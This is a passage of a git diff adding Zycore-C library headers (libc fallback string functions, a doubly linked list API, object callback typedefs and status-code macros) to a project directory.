__builtin_va_start(v, l) +# define ZYAN_VA_END(v) __builtin_va_end(v) +# define ZYAN_VA_ARG(v, l) __builtin_va_arg(v, l) +# define ZYAN_VA_COPY(d, s) __builtin_va_copy(d, s) + +#else +# error "Unsupported compiler for no-libc mode." +#endif + +/* ---------------------------------------------------------------------------------------------- */ +/* stdio.h */ +/* ---------------------------------------------------------------------------------------------- */ + +// ZYAN_INLINE int ZYAN_VSNPRINTF (char* const buffer, ZyanUSize const count, +// char const* const format, ZyanVAList args) +// { +// // We cant provide a fallback implementation for this function +// ZYAN_UNUSED(buffer); +// ZYAN_UNUSED(count); +// ZYAN_UNUSED(format); +// ZYAN_UNUSED(args); +// return ZYAN_NULL; +// } + +/* ---------------------------------------------------------------------------------------------- */ +/* stdlib.h */ +/* ---------------------------------------------------------------------------------------------- */ + +// ZYAN_INLINE void* ZYAN_CALLOC(ZyanUSize nitems, ZyanUSize size) +// { +// // We cant provide a fallback implementation for this function +// ZYAN_UNUSED(nitems); +// ZYAN_UNUSED(size); +// return ZYAN_NULL; +// } +// +// ZYAN_INLINE void ZYAN_FREE(void *p) +// { +// // We cant provide a fallback implementation for this function +// ZYAN_UNUSED(p); +// } +// +// ZYAN_INLINE void* ZYAN_MALLOC(ZyanUSize n) +// { +// // We cant provide a fallback implementation for this function +// ZYAN_UNUSED(n); +// return ZYAN_NULL; +// } +// +// ZYAN_INLINE void* ZYAN_REALLOC(void* p, ZyanUSize n) +// { +// // We cant provide a fallback implementation for this function +// ZYAN_UNUSED(p); +// ZYAN_UNUSED(n); +// return ZYAN_NULL; +// } + +/* ---------------------------------------------------------------------------------------------- */ +/* string.h */ +/* ---------------------------------------------------------------------------------------------- */ + +ZYAN_INLINE void* ZYAN_MEMCHR(const void* str, int c, ZyanUSize n) +{ + const ZyanU8* p = (ZyanU8*)str; + while (n--) + { + if (*p != (ZyanU8)c) + { + p++; + } else + { + return (void*)p; + } + } + return 0; +} + +ZYAN_INLINE int ZYAN_MEMCMP(const void* s1, const void* s2, ZyanUSize n) +{ + const ZyanU8* p1 = s1, *p2 = s2; + while (n--) + { + if (*p1 != *p2) + { + return *p1 - *p2; + } + p1++, p2++; + } + return 0; +} + +ZYAN_INLINE void* ZYAN_MEMCPY(void* dst, const void* src, ZyanUSize n) +{ + volatile ZyanU8* dp = dst; + const ZyanU8* sp = src; + while (n--) + { + *dp++ = *sp++; + } + return dst; +} + +ZYAN_INLINE void* ZYAN_MEMMOVE(void* dst, const void* src, ZyanUSize n) +{ + volatile ZyanU8* pd = dst; + const ZyanU8* ps = src; + if (ps < pd) + { + for (pd += n, ps += n; n--;) + { + *--pd = *--ps; + } + } else + { + while (n--) + { + *pd++ = *ps++; + } + } + return dst; +} + +ZYAN_INLINE void* ZYAN_MEMSET(void* dst, int val, ZyanUSize n) +{ + volatile ZyanU8* p = dst; + while (n--) + { + *p++ = (unsigned char)val; + } + return dst; +} + +ZYAN_INLINE char* ZYAN_STRCAT(char* dest, const char* src) +{ + char* ret = dest; + while (*dest) + { + dest++; + } + while ((*dest++ = *src++)); + return ret; +} + +ZYAN_INLINE char* ZYAN_STRCHR(const char* s, int c) +{ + while (*s != (char)c) + { + if (!*s++) + { + return 0; + } + } + return (char*)s; +} + +ZYAN_INLINE int ZYAN_STRCMP(const char* s1, const char* s2) +{ + while (*s1 && (*s1 == *s2)) + { + s1++, s2++; + } + return *(const ZyanU8*)s1 - *(const ZyanU8*)s2; +} + +ZYAN_INLINE int ZYAN_STRCOLL(const char *s1, const char *s2) +{ + // TODO: Implement + + ZYAN_UNUSED(s1); + ZYAN_UNUSED(s2); + + return 0; +} + +ZYAN_INLINE char* ZYAN_STRCPY(char* dest, const char* src) +{ + char* ret = dest; + while ((*dest++ = *src++)); + return ret; +} + +ZYAN_INLINE ZyanUSize ZYAN_STRCSPN(const char *s1, const char *s2) +{ + ZyanUSize ret = 0; + while (*s1) + { + if (ZYAN_STRCHR(s2, *s1)) + { + return ret; + } + s1++, ret++; + } + return ret; +} + +ZYAN_INLINE ZyanUSize ZYAN_STRLEN(const char* str) +{ + const char* p = str; + while (*str) + { + ++str; + } + return str - p; +} + +ZYAN_INLINE char* ZYAN_STRNCAT(char* dest, const char* src, ZyanUSize n) +{ + char* ret = dest; + while (*dest) + { + dest++; + } + while (n--) + { + if (!(*dest++ = *src++)) + { + return ret; + } + } + *dest = 0; + return ret; +} + +ZYAN_INLINE int ZYAN_STRNCMP(const char* s1, const char* s2, ZyanUSize n) +{ + while (n--) + { + if (*s1++ != *s2++) + { + return *(unsigned char*)(s1 - 1) - *(unsigned char*)(s2 - 1); + } + } + return 0; +} + +ZYAN_INLINE char* ZYAN_STRNCPY(char* dest, const char* src, ZyanUSize n) +{ + char* ret = dest; + do + { + if (!n--) + { + return ret; + } + } while ((*dest++ = *src++)); + while (n--) + { + *dest++ = 0; + } + return ret; +} + +ZYAN_INLINE char* ZYAN_STRPBRK(const char* s1, const char* s2) +{ + while (*s1) + { + if(ZYAN_STRCHR(s2, *s1++)) + { + return (char*)--s1; + } + } + return 0; +} + +ZYAN_INLINE char* ZYAN_STRRCHR(const char* s, int c) +{ + char* ret = 0; + do + { + if (*s == (char)c) + { + ret = (char*)s; + } + } while (*s++); + return ret; +} + +ZYAN_INLINE ZyanUSize ZYAN_STRSPN(const char* s1, const char* s2) +{ + ZyanUSize ret = 0; + while (*s1 && ZYAN_STRCHR(s2, *s1++)) + { + ret++; + } + return ret; +} + +ZYAN_INLINE char* ZYAN_STRSTR(const char* s1, const char* s2) +{ + const ZyanUSize n = ZYAN_STRLEN(s2); + while (*s1) + { + if (!ZYAN_MEMCMP(s1++, s2, n)) + { + return (char*)(s1 - 1); + } + } + return 0; +} + +ZYAN_INLINE char* ZYAN_STRTOK(char* str, const char* delim) +{ + static char* p = 0; + if (str) + { + p = str; + } else + if (!p) + { + return 0; + } + str = p + ZYAN_STRSPN(p, delim); + p = str + ZYAN_STRCSPN(str, delim); + if (p == str) + { + return p = 0; + } + p = *p ? *p = 0, p + 1 : 0; + return str; +} + +ZYAN_INLINE ZyanUSize ZYAN_STRXFRM(char* dest, const char* src, ZyanUSize n) +{ + const ZyanUSize n2 = ZYAN_STRLEN(src); + if (n > n2) + { + ZYAN_STRCPY(dest, src); + } + return n2; +} + +/* ---------------------------------------------------------------------------------------------- */ + +#endif + +#endif + +/* ============================================================================================== */ + +#endif /* ZYCORE_LIBC_H */ diff --git a/Theodosius/Zycore/List.h b/Theodosius/Zycore/List.h new file mode 100644 index 0000000..015a324 --- /dev/null +++ b/Theodosius/Zycore/List.h @@ -0,0 +1,574 @@ +/*************************************************************************************************** + + Zyan Core Library (Zycore-C) + + Original Author : Florian Bernd + + * Permission is hereby granted, free of charge, to any person obtaining a copy + * of this software and associated documentation files (the "Software"), to deal + * in the Software without restriction, including without limitation the rights + * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell + * copies of the Software, and to permit persons to whom the Software is + * furnished to do so, subject to the following conditions: + * + * The above copyright notice and this permission notice shall be included in all + * copies or substantial portions of the Software. + * + * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR + * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, + * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE + * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER + * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, + * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE + * SOFTWARE. + +***************************************************************************************************/ + +/** + * @file + * Implements a doubly linked list. + */ + +#ifndef ZYCORE_LIST_H +#define ZYCORE_LIST_H + +#include +#include +#include +#include +#include + +#ifdef __cplusplus +extern "C" { +#endif + +/* ============================================================================================== */ +/* Enums and types */ +/* ============================================================================================== */ + +/** + * Defines the `ZyanListNode` struct. + * + * All fields in this struct should be considered as "private". Any changes may lead to unexpected + * behavior. + */ +typedef struct ZyanListNode_ +{ + /** + * A pointer to the previous list node. + */ + struct ZyanListNode_* prev; + /** + * A pointer to the next list node. + */ + struct ZyanListNode_* next; +} ZyanListNode; + +/** + * Defines the `ZyanList` struct. + * + * All fields in this struct should be considered as "private". Any changes may lead to unexpected + * behavior. + */ +typedef struct ZyanList_ +{ + /** + * The memory allocator. + */ + ZyanAllocator* allocator; + /** + * The current number of elements in the list. + */ + ZyanUSize size; + /** + * The size of a single element in bytes. + */ + ZyanUSize element_size; + /** + * The element destructor callback. + */ + ZyanMemberProcedure destructor; + /** + * The head node. + */ + ZyanListNode* head; + /** + * The tail node. + */ + ZyanListNode* tail; + /** + * The data buffer. + * + * Only used for instances created by `ZyanListInitCustomBuffer`. + */ + void* buffer; + /** + * The data buffer capacity (number of bytes). + * + * Only used for instances created by `ZyanListInitCustomBuffer`. + */ + ZyanUSize capacity; + /** + * The first unused node. + * + * When removing a node, the first-unused value is updated to point at the removed node and the + * next node of the removed node will be updated to point at the old first-unused node. + * + * When appending the memory of the first unused-node is recycled to store the new node. The + * value of the first-unused node is then updated to point at the reused nodes next node. + * + * If the first-unused value is `ZYAN_NULL`, any new node will be "allocated" behind the tail + * node (if there is enough space left in the fixed size buffer). + * + * Only used for instances created by `ZyanListInitCustomBuffer`. + */ + ZyanListNode* first_unused; +} ZyanList; + +/* ============================================================================================== */ +/* Macros */ +/* ============================================================================================== */ + +/* ---------------------------------------------------------------------------------------------- */ +/* General */ +/* ---------------------------------------------------------------------------------------------- */ + +/** + * Defines an uninitialized `ZyanList` instance. + */ +#define ZYAN_LIST_INITIALIZER \ + { \ + /* allocator */ ZYAN_NULL, \ + /* size */ 0, \ + /* element_size */ 0, \ + /* head */ ZYAN_NULL, \ + /* destructor */ ZYAN_NULL, \ + /* tail */ ZYAN_NULL, \ + /* buffer */ ZYAN_NULL, \ + /* capacity */ 0, \ + /* first_unused */ ZYAN_NULL \ + } + +/* ---------------------------------------------------------------------------------------------- */ +/* Helper macros */ +/* ---------------------------------------------------------------------------------------------- */ + +/** + * Returns the data value of the given `node`. + * + * @param type The desired value type. + * @param node A pointer to the `ZyanListNode` struct. + * + * @result The data value of the given `node`. + * + * Note that this function is unsafe and might dereference a null-pointer. + */ +#ifdef __cplusplus +#define ZYAN_LIST_GET(type, node) \ + (*reinterpret_cast(ZyanListGetNodeData(node))) +#else +#define ZYAN_LIST_GET(type, node) \ + (*(const type*)ZyanListGetNodeData(node)) +#endif + +/* ---------------------------------------------------------------------------------------------- */ + +/* ============================================================================================== */ +/* Exported functions */ +/* ============================================================================================== */ + +/* ---------------------------------------------------------------------------------------------- */ +/* Constructor and destructor */ +/* ---------------------------------------------------------------------------------------------- */ + +#ifndef ZYAN_NO_LIBC + +/** + * Initializes the given `ZyanList` instance. + * + * @param list A pointer to the `ZyanList` instance. + * @param element_size The size of a single element in bytes. + * @param destructor A destructor callback that is invoked every time an item is deleted, or + * `ZYAN_NULL` if not needed. + * + * @return A zyan status code. + * + * The memory for the list elements is dynamically allocated by the default allocator. + * + * Finalization with `ZyanListDestroy` is required for all instances created by this function. + */ +ZYCORE_EXPORT ZYAN_REQUIRES_LIBC ZyanStatus ZyanListInit(ZyanList* list, ZyanUSize element_size, + ZyanMemberProcedure destructor); + +#endif // ZYAN_NO_LIBC + +/** + * Initializes the given `ZyanList` instance and sets a custom `allocator`. + * + * @param list A pointer to the `ZyanList` instance. + * @param element_size The size of a single element in bytes. + * @param destructor A destructor callback that is invoked every time an item is deleted, or + * `ZYAN_NULL` if not needed. + * @param allocator A pointer to a `ZyanAllocator` instance. + * + * @return A zyan status code. + * + * Finalization with `ZyanListDestroy` is required for all instances created by this function. + */ +ZYCORE_EXPORT ZyanStatus ZyanListInitEx(ZyanList* list, ZyanUSize element_size, + ZyanMemberProcedure destructor, ZyanAllocator* allocator); + +/** + * Initializes the given `ZyanList` instance and configures it to use a custom user + * defined buffer with a fixed size. + * + * @param list A pointer to the `ZyanList` instance. + * @param element_size The size of a single element in bytes. + * @param destructor A destructor callback that is invoked every time an item is deleted, or + * `ZYAN_NULL` if not needed. + * @param buffer A pointer to the buffer that is used as storage for the elements. + * @param capacity The maximum capacity (number of bytes) of the buffer including the + * space required for the list-nodes. + * + * @return A zyan status code. + * + * The buffer capacity required to store `n` elements of type `T` is be calculated by: + * `size = n * sizeof(ZyanListNode) + n * sizeof(T)` + * + * Finalization is not required for instances created by this function. + */ +ZYCORE_EXPORT ZyanStatus ZyanListInitCustomBuffer(ZyanList* list, ZyanUSize element_size, + ZyanMemberProcedure destructor, void* buffer, ZyanUSize capacity); + +/** + * Destroys the given `ZyanList` instance. + * + * @param list A pointer to the `ZyanList` instance. + * + * @return A zyan status code. + */ +ZYCORE_EXPORT ZyanStatus ZyanListDestroy(ZyanList* list); + +/* ---------------------------------------------------------------------------------------------- */ +/* Duplication */ +/* ---------------------------------------------------------------------------------------------- */ + +#ifndef ZYAN_NO_LIBC + +/** + * Initializes a new `ZyanList` instance by duplicating an existing list. + * + * @param destination A pointer to the (uninitialized) destination `ZyanList` instance. + * @param source A pointer to the source list. + * + * @return A zyan status code. + * + * The memory for the list is dynamically allocated by the default allocator. + * + * Finalization with `ZyanListDestroy` is required for all instances created by this function. + */ +ZYCORE_EXPORT ZYAN_REQUIRES_LIBC ZyanStatus ZyanListDuplicate(ZyanList* destination, + const ZyanList* source); + +#endif // ZYAN_NO_LIBC + +/** + * Initializes a new `ZyanList` instance by duplicating an existing list and sets a + * custom `allocator`. + * + * @param destination A pointer to the (uninitialized) destination `ZyanList` instance. + * @param source A pointer to the source list. + * @param allocator A pointer to a `ZyanAllocator` instance. + * + * @return A zyan status code. + + * Finalization with `ZyanListDestroy` is required for all instances created by this function. + */ +ZYCORE_EXPORT ZyanStatus ZyanListDuplicateEx(ZyanList* destination, const ZyanList* source, + ZyanAllocator* allocator); + +/** + * Initializes a new `ZyanList` instance by duplicating an existing list and + * configures it to use a custom user defined buffer with a fixed size. + * + * @param destination A pointer to the (uninitialized) destination `ZyanList` instance. + * @param source A pointer to the source list. + * @param buffer A pointer to the buffer that is used as storage for the elements. + * @param capacity The maximum capacity (number of bytes) of the buffer including the + * space required for the list-nodes. + + * This function will fail, if the capacity of the buffer is not sufficient + * to store all elements of the source list. + * + * @return A zyan status code. + * + * The buffer capacity required to store `n` elements of type `T` is be calculated by: + * `size = n * sizeof(ZyanListNode) + n * sizeof(T)` + * + * Finalization is not required for instances created by this function. + */ +ZYCORE_EXPORT ZyanStatus ZyanListDuplicateCustomBuffer(ZyanList* destination, + const ZyanList* source, void* buffer, ZyanUSize capacity); + +/* ---------------------------------------------------------------------------------------------- */ +/* Item access */ +/* ---------------------------------------------------------------------------------------------- */ + +/** + * Returns a pointer to the first `ZyanListNode` struct of the given list. + * + * @param list A pointer to the `ZyanList` instance. + * @param node Receives a pointer to the first `ZyanListNode` struct of the list. + * + * @return A zyan status code. + */ +ZYCORE_EXPORT ZyanStatus ZyanListGetHeadNode(const ZyanList* list, const ZyanListNode** node); + +/** + * Returns a pointer to the last `ZyanListNode` struct of the given list. + * + * @param list A pointer to the `ZyanList` instance. + * @param node Receives a pointer to the last `ZyanListNode` struct of the list. + * + * @return A zyan status code. + */ +ZYCORE_EXPORT ZyanStatus ZyanListGetTailNode(const ZyanList* list, const ZyanListNode** node); + +/** + * Receives a pointer to the previous `ZyanListNode` struct linked to the passed one. + * + * @param node Receives a pointer to the previous `ZyanListNode` struct linked to the passed + * one. + * + * @return A zyan status code. + */ +ZYCORE_EXPORT ZyanStatus ZyanListGetPrevNode(const ZyanListNode** node); + +/** + * Receives a pointer to the next `ZyanListNode` struct linked to the passed one. + * + * @param node Receives a pointer to the next `ZyanListNode` struct linked to the passed one. + * + * @return A zyan status code. + */ +ZYCORE_EXPORT ZyanStatus ZyanListGetNextNode(const ZyanListNode** node); + +/** + * Returns a constant pointer to the data of the given `node`. + * + * @param node A pointer to the `ZyanListNode` struct. + * + * @return A constant pointer to the the data of the given `node` or `ZYAN_NULL`, if an error + * occured. + * + * Take a look at `ZyanListGetNodeDataEx`, if you need a function that returns a zyan status code. + */ +ZYCORE_EXPORT const void* ZyanListGetNodeData(const ZyanListNode* node); + +/** + * Returns a constant pointer to the data of the given `node`.. + * + * @param node A pointer to the `ZyanListNode` struct. + * @param value Receives a constant pointer to the data of the given `node`. + * + * Take a look at `ZyanListGetNodeData`, if you need a function that directly returns a pointer. + * + * @return A zyan status code. + */ +ZYCORE_EXPORT ZyanStatus ZyanListGetNodeDataEx(const ZyanListNode* node, const void** value); + +/** + * Returns a mutable pointer to the data of the given `node`. + * + * @param node A pointer to the `ZyanListNode` struct. + * + * @return A mutable pointer to the the data of the given `node` or `ZYAN_NULL`, if an error + * occured. + * + * Take a look at `ZyanListGetPointerMutableEx` instead, if you need a function that returns a + * zyan status code. + */ +ZYCORE_EXPORT void* ZyanListGetNodeDataMutable(const ZyanListNode* node); + +/** + * Returns a mutable pointer to the data of the given `node`.. + * + * @param node A pointer to the `ZyanListNode` struct. + * @param value Receives a mutable pointer to the data of the given `node`. + * + * Take a look at `ZyanListGetNodeDataMutable`, if you need a function that directly returns a + * pointer. + * + * @return A zyan status code. + */ +ZYCORE_EXPORT ZyanStatus ZyanListGetNodeDataMutableEx(const ZyanListNode* node, void** value); + +/** + * Assigns a new data value to the given `node`. + * + * @param list A pointer to the `ZyanList` instance. + * @param node A pointer to the `ZyanListNode` struct. + * @param value The value to assign. + * + * @return A zyan status code. + */ +ZYCORE_EXPORT ZyanStatus ZyanListSetNodeData(const ZyanList* list, const ZyanListNode* node, + const void* value); + +/* ---------------------------------------------------------------------------------------------- */ +/* Insertion */ +/* ---------------------------------------------------------------------------------------------- */ + +/** + * Adds a new `item` to the end of the list. + * + * @param list A pointer to the `ZyanList` instance. + * @param item A pointer to the item to add. + * + * @return A zyan status code. + */ +ZYCORE_EXPORT ZyanStatus ZyanListPushBack(ZyanList* list, const void* item); + +/** + * Adds a new `item` to the beginning of the list. + * + * @param list A pointer to the `ZyanList` instance. + * @param item A pointer to the item to add. + * + * @return A zyan status code. + */ +ZYCORE_EXPORT ZyanStatus ZyanListPushFront(ZyanList* list, const void* item); + +/** + * Constructs an `item` in-place at the end of the list. + * + * @param list A pointer to the `ZyanList` instance. + * @param item Receives a pointer to the new item. + * @param constructor The constructor callback or `ZYAN_NULL`. The new item will be in + * undefined state, if no constructor was passed. + * + * @return A zyan status code. + */ +ZYCORE_EXPORT ZyanStatus ZyanListEmplaceBack(ZyanList* list, void** item, + ZyanMemberFunction constructor); + +/** + * Constructs an `item` in-place at the beginning of the list. + * + * @param list A pointer to the `ZyanList` instance. + * @param item Receives a pointer to the new item. + * @param constructor The constructor callback or `ZYAN_NULL`. The new item will be in + * undefined state, if no constructor was passed. + * + * @return A zyan status code. + */ +ZYCORE_EXPORT ZyanStatus ZyanListEmplaceFront(ZyanList* list, void** item, + ZyanMemberFunction constructor); + +/* ---------------------------------------------------------------------------------------------- */ +/* Deletion */ +/* ---------------------------------------------------------------------------------------------- */ + +/** + * Removes the last element of the list. + * + * @param list A pointer to the `ZyanList` instance. + * + * @return A zyan status code. + */ +ZYCORE_EXPORT ZyanStatus ZyanListPopBack(ZyanList* list); + +/** + * Removes the firstelement of the list. + * + * @param list A pointer to the `ZyanList` instance. + * + * @return A zyan status code. + */ +ZYCORE_EXPORT ZyanStatus ZyanListPopFront(ZyanList* list); + +/** + * Removes the given `node` from the list. + * + * @param list A pointer to the `ZyanList` instance. + * @param node A pointer to the `ZyanListNode` struct. + * + * @return A zyan status code. + */ +ZYCORE_EXPORT ZyanStatus ZyanListRemove(ZyanList* list, const ZyanListNode* node); + +/** + * Removes multiple nodes from the list. + * + * @param list A pointer to the `ZyanList` instance. + * @param first A pointer to the first node. + * @param last A pointer to the last node. + * + * @return A zyan status code. + */ +ZYCORE_EXPORT ZyanStatus ZyanListRemoveRange(ZyanList* list, const ZyanListNode* first, + const ZyanListNode* last); + +/** + * Erases all elements of the list. + * + * @param list A pointer to the `ZyanList` instance. + * + * @return A zyan status code. + */ +ZYCORE_EXPORT ZyanStatus ZyanListClear(ZyanList* list); + +/* ---------------------------------------------------------------------------------------------- */ +/* Searching */ +/* ---------------------------------------------------------------------------------------------- */ + +// TODO: + +/* ---------------------------------------------------------------------------------------------- */ +/* Memory management */ +/* ---------------------------------------------------------------------------------------------- */ + +/** + * Resizes the given `ZyanList` instance. + * + * @param list A pointer to the `ZyanList` instance. + * @param size The new size of the list. + * + * @return A zyan status code. + */ +ZYCORE_EXPORT ZyanStatus ZyanListResize(ZyanList* list, ZyanUSize size); + +/** + * Resizes the given `ZyanList` instance. + * + * @param list A pointer to the `ZyanList` instance. + * @param size The new size of the list. + * @param initializer A pointer to a value to be used as initializer for new items. + * + * @return A zyan status code. + */ +ZYCORE_EXPORT ZyanStatus ZyanListResizeEx(ZyanList* list, ZyanUSize size, const void* initializer); + +/* ---------------------------------------------------------------------------------------------- */ +/* Information */ +/* ---------------------------------------------------------------------------------------------- */ + +/** + * Returns the current size of the list. + * + * @param list A pointer to the `ZyanList` instance. + * @param size Receives the size of the list. + * + * @return A zyan status code. + */ +ZYCORE_EXPORT ZyanStatus ZyanListGetSize(const ZyanList* list, ZyanUSize* size); + +/* ---------------------------------------------------------------------------------------------- */ + +/* ============================================================================================== */ + +#ifdef __cplusplus +} +#endif + +#endif /* ZYCORE_VECTOR_H */ diff --git a/Theodosius/Zycore/Object.h b/Theodosius/Zycore/Object.h new file mode 100644 index 0000000..d015cef --- /dev/null +++ b/Theodosius/Zycore/Object.h @@ -0,0 +1,84 @@ +/*************************************************************************************************** + + Zyan Core Library (Zycore-C) + + Original Author : Florian Bernd + + * Permission is hereby granted, free of charge, to any person obtaining a copy + * of this software and associated documentation files (the "Software"), to deal + * in the Software without restriction, including without limitation the rights + * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell + * copies of the Software, and to permit persons to whom the Software is + * furnished to do so, subject to the following conditions: + * + * The above copyright notice and this permission notice shall be included in all + * copies or substantial portions of the Software. + * + * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR + * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, + * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE + * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER + * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, + * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE + * SOFTWARE. + +***************************************************************************************************/ + +/** + * @file + * Defines some generic object-related datatypes. + */ + +#ifndef ZYCORE_OBJECT_H +#define ZYCORE_OBJECT_H + +#include +#include + +#ifdef __cplusplus +extern "C" { +#endif + +/* ============================================================================================== */ +/* Enums and types */ +/* ============================================================================================== */ + +/** + * Defines the `ZyanMemberProcedure` function prototype. + * + * @param object A pointer to the object. + */ +typedef void (*ZyanMemberProcedure)(void* object); + +/** + * Defines the `ZyanConstMemberProcedure` function prototype. + * + * @param object A pointer to the object. + */ +typedef void (*ZyanConstMemberProcedure)(const void* object); + +/** + * Defines the `ZyanMemberFunction` function prototype. + * + * @param object A pointer to the object. + * + * @return A zyan status code. + */ +typedef ZyanStatus (*ZyanMemberFunction)(void* object); + +/** + * Defines the `ZyanConstMemberFunction` function prototype. + * + * @param object A pointer to the object. + * + * @return A zyan status code. + */ +typedef ZyanStatus (*ZyanConstMemberFunction)(const void* object); + +/* ============================================================================================== */ + +#ifdef __cplusplus +} +#endif + +#endif /* ZYCORE_OBJECT_H */ diff --git a/Theodosius/Zycore/Status.h b/Theodosius/Zycore/Status.h new file mode 100644 index 0000000..b0d7fdf --- /dev/null +++ b/Theodosius/Zycore/Status.h @@ -0,0 +1,287 @@ +/*************************************************************************************************** + + Zyan Core Library (Zyan-C) + + Original Author : Florian Bernd, Joel Hoener + + * Permission is hereby granted, free of charge, to any person obtaining a copy + * of this software and associated documentation files (the "Software"), to deal + * in the Software without restriction, including without limitation the rights + * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell + * copies of the Software, and to permit persons to whom the Software is + * furnished to do so, subject to the following conditions: + * + * The above copyright notice and this permission notice shall be included in all + * copies or substantial portions of the Software. + * + * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR + * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, + * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE + * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER + * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, + * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE + * SOFTWARE. + +***************************************************************************************************/ + +/** + * @file + * Status code definitions and check macros. + */ + +#ifndef ZYCORE_STATUS_H +#define ZYCORE_STATUS_H + +#ifdef __cplusplus +extern "C" { +#endif + +#include + +/* ============================================================================================== */ +/* Enums and types */ +/* ============================================================================================== */ + +/** + * Defines the `ZyanStatus` data type. + */ +typedef ZyanU32 ZyanStatus; + +/* ============================================================================================== */ +/* Macros */ +/* ============================================================================================== */ + +/* ---------------------------------------------------------------------------------------------- */ +/* Definition */ +/* ---------------------------------------------------------------------------------------------- */ + +/** + * Defines a zyan status code. + * + * @param error `1`, if the status code signals an error or `0`, if not. + * @param module The module id. + * @param code The actual code. + * + * @return The zyan status code. + */ +#define ZYAN_MAKE_STATUS(error, module, code) \ + (ZyanStatus)((((error) & 0x01u) << 31u) | (((module) & 0x7FFu) << 20u) | ((code) & 0xFFFFFu)) + +/* ---------------------------------------------------------------------------------------------- */ +/* Checks */ +/* ---------------------------------------------------------------------------------------------- */ + +/** + * Checks if a zyan operation was successful. + * + * @param status The zyan status-code to check. + * + * @return `ZYAN_TRUE`, if the operation succeeded or `ZYAN_FALSE`, if not. + */ +#define ZYAN_SUCCESS(status) \ + (!((status) & 0x80000000u)) + +/** + * Checks if a zyan operation failed. + * + * @param status The zyan status-code to check. + * + * @return `ZYAN_TRUE`, if the operation failed or `ZYAN_FALSE`, if not. + */ +#define ZYAN_FAILED(status) \ + ((status) & 0x80000000u) + +/** + * Checks if a zyan operation was successful and returns with the status-code, if not. + * + * @param status The zyan status-code to check. + */ +#define ZYAN_CHECK(status) \ + do \ + { \ + const ZyanStatus status_047620348 = (status); \ + if (!ZYAN_SUCCESS(status_047620348)) \ + { \ + return status_047620348; \ + } \ + } while (0) + +/* ---------------------------------------------------------------------------------------------- */ +/* Information */ +/* ---------------------------------------------------------------------------------------------- */ + + /** + * Returns the module id of a zyan status-code. + * + * @param status The zyan status-code. + * + * @return The module id of the zyan status-code. + */ +#define ZYAN_STATUS_MODULE(status) \ + (((status) >> 20) & 0x7FFu) + + /** + * Returns the code of a zyan status-code. + * + * @param status The zyan status-code. + * + * @return The code of the zyan status-code. + */ +#define ZYAN_STATUS_CODE(status) \ + ((status) & 0xFFFFFu) + +/* ============================================================================================== */ +/* Status codes */ +/* ============================================================================================== */ + +/* ---------------------------------------------------------------------------------------------- */ +/* Module IDs */ +/* ---------------------------------------------------------------------------------------------- */ + +/** + * The zycore generic module id. + */ +#define ZYAN_MODULE_ZYCORE 0x001u + +/** + * The zycore arg-parse submodule id. + */ +#define ZYAN_MODULE_ARGPARSE 0x003u + +/** + * The base module id for user-defined status codes. + */ +#define ZYAN_MODULE_USER 0x3FFu + +/* ---------------------------------------------------------------------------------------------- */ +/* Status codes (general purpose) */ +/* ---------------------------------------------------------------------------------------------- */ + +/** + * The operation completed successfully. + */ +#define ZYAN_STATUS_SUCCESS \ + ZYAN_MAKE_STATUS(0u, ZYAN_MODULE_ZYCORE, 0x00u) + +/** + * The operation failed with an generic error. + */ +#define ZYAN_STATUS_FAILED \ + ZYAN_MAKE_STATUS(1u, ZYAN_MODULE_ZYCORE, 0x01u) + +/** + * The operation completed successfully and returned `ZYAN_TRUE`. + */ +#define ZYAN_STATUS_TRUE \ + ZYAN_MAKE_STATUS(0u, ZYAN_MODULE_ZYCORE, 0x02u) + +/** + * The operation completed successfully and returned `ZYAN_FALSE`. + */ +#define ZYAN_STATUS_FALSE \ + ZYAN_MAKE_STATUS(0u, ZYAN_MODULE_ZYCORE, 0x03u) + +/** + * An invalid argument was passed to a function. + */ +#define ZYAN_STATUS_INVALID_ARGUMENT \ + ZYAN_MAKE_STATUS(1u, ZYAN_MODULE_ZYCORE, 0x04u) + +/** + * An attempt was made to perform an invalid operation. + */ +#define ZYAN_STATUS_INVALID_OPERATION \ + ZYAN_MAKE_STATUS(1u, ZYAN_MODULE_ZYCORE, 0x05u) + +/** + * Insufficient privileges to perform the requested operation. + */ +#define ZYAN_STATUS_ACCESS_DENIED \ + ZYAN_MAKE_STATUS(1u, ZYAN_MODULE_ZYCORE, 0x06u) + +/** + * The requested entity was not found. + */ +#define ZYAN_STATUS_NOT_FOUND \ + ZYAN_MAKE_STATUS(1u, ZYAN_MODULE_ZYCORE, 0x07u) + +/** + * An index passed to a function was out of bounds. + */ +#define ZYAN_STATUS_OUT_OF_RANGE \ + ZYAN_MAKE_STATUS(1u, ZYAN_MODULE_ZYCORE, 0x08u) + +/** + * A buffer passed to a function was too small to complete the requested operation. + */ +#define 